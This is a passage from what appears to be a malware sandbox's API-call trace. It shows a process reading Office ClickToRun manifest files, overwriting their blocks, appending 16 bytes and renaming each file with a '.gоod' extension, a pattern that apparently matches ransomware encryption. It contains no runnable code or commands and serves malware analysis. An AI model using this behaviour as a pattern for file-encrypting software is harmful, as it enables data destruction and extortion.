hFile=0x7c0, lpBuffer=0x359ded8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x359ded8*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0097.362] CloseHandle (hObject=0x7c0) returned 1 [0097.362] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x85 [0097.362] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml.gоod", lpFilePart=0x0) returned 0x8a [0097.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0097.362] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed12666a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed12666a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x363e07af, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x195b4)) returned 1 [0097.362] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0097.363] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml.gоod")) returned 1 [0097.363] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x75 [0097.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0097.363] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpointmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x36708a8 | out: lpFileInformation=0x36708a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed0da264, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed0da264, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd35dffce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x689e)) returned 1 [0097.364] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0097.364] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x75 [0097.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0097.364] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpointmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0097.364] GetFileType (hFile=0x7c0) returned 0x1 [0097.364] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0097.364] GetFileType (hFile=0x7c0) returned 0x1 [0097.364] SetFilePointer (in: hFile=0x7c0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0097.364] ReadFile (in: hFile=0x7c0, lpBuffer=0x3670df0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x3670df0*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0097.366] CloseHandle (hObject=0x7c0) returned 1 [0097.366] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x75 [0097.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0097.366] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpointmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0097.366] GetFileType (hFile=0x7c0) returned 0x1 [0097.366] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0097.366] GetFileType (hFile=0x7c0) returned 0x1 [0097.366] SetFilePointer (in: hFile=0x7c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x689e [0097.366] WriteFile (in: hFile=0x7c0, lpBuffer=0x3672120*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x3672120*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0097.367] CloseHandle (hObject=0x7c0) returned 1 [0097.367] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x75 [0097.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0097.367] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpointmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0097.368] GetFileType (hFile=0x7c0) returned 0x1 [0097.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0097.368] GetFileType (hFile=0x7c0) returned 0x1 [0097.368] ReadFile (in: hFile=0x7c0, lpBuffer=0x3674478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x3674478*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0097.396] CloseHandle (hObject=0x7c0) returned 1 [0097.646] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x75 [0097.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0097.646] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpointmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0097.647] GetFileType (hFile=0x7c0) returned 0x1 [0097.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0097.647] GetFileType (hFile=0x7c0) returned 0x1 [0097.647] WriteFile (in: hFile=0x7c0, lpBuffer=0x3249650*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x3249650*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0097.647] CloseHandle (hObject=0x7c0) returned 1 [0097.647] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x75 [0097.647] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x7a [0097.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0097.647] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpointmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed0da264, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed0da264, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x366b576c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x68ae)) returned 1 [0097.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0097.647] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpointmui.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpointmui.msi.16.en-us.xml.gоod")) returned 1 [0097.649] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7f [0097.649] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0097.649] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.project.project.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x32c5ec0 | out: lpFileInformation=0x32c5ec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b87bb60, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7446)) returned 1 [0097.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0097.650] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7f [0097.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0097.650] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.project.project.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0097.650] GetFileType (hFile=0x7c0) returned 0x1 [0097.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0097.650] GetFileType (hFile=0x7c0) returned 0x1 [0097.650] SetFilePointer (in: hFile=0x7c0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0097.650] ReadFile (in: hFile=0x7c0, lpBuffer=0x32c6458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x32c6458*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0097.652] CloseHandle (hObject=0x7c0) returned 1 [0097.652] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7f [0097.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0097.652] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.project.project.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0097.652] GetFileType (hFile=0x7c0) returned 0x1 [0097.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0097.652] GetFileType (hFile=0x7c0) returned 0x1 [0097.652] SetFilePointer (in: hFile=0x7c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x7446 [0097.652] WriteFile (in: hFile=0x7c0, lpBuffer=0x32c7848*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x32c7848*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0097.657] CloseHandle (hObject=0x7c0) returned 1 [0097.657] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7f [0097.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0097.657] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.project.project.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0097.658] GetFileType (hFile=0x7c0) returned 0x1 [0097.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0097.658] GetFileType (hFile=0x7c0) returned 0x1 [0097.658] ReadFile (in: hFile=0x7c0, lpBuffer=0x32c9cb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x32c9cb0*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0097.689] CloseHandle (hObject=0x7c0) returned 1 [0097.689] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7f [0097.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0097.689] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.project.project.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0097.689] GetFileType (hFile=0x7c0) returned 0x1 [0097.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0097.689] GetFileType (hFile=0x7c0) returned 0x1 [0097.689] WriteFile (in: hFile=0x7c0, lpBuffer=0x32c8948*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x32c8948*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0097.689] CloseHandle (hObject=0x7c0) returned 1 [0097.690] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7f [0097.690] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml.gоod", lpFilePart=0x0) returned 0x84 [0097.690] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0097.690] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.project.project.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b87bb60, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x36701986, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7456)) returned 1 [0097.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0097.690] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.project.project.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.project.project.x-none.msi.16.x-none.xml.gоod")) returned 1 [0097.691] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x72 [0097.691] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0097.691] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.projectmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x33462c0 | out: lpFileInformation=0x33462c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b87bb60, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2d20ad, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x809e)) returned 1 [0097.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0097.691] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x72 [0097.691] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0097.691] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.projectmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0097.691] GetFileType (hFile=0x7c0) returned 0x1 [0097.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) 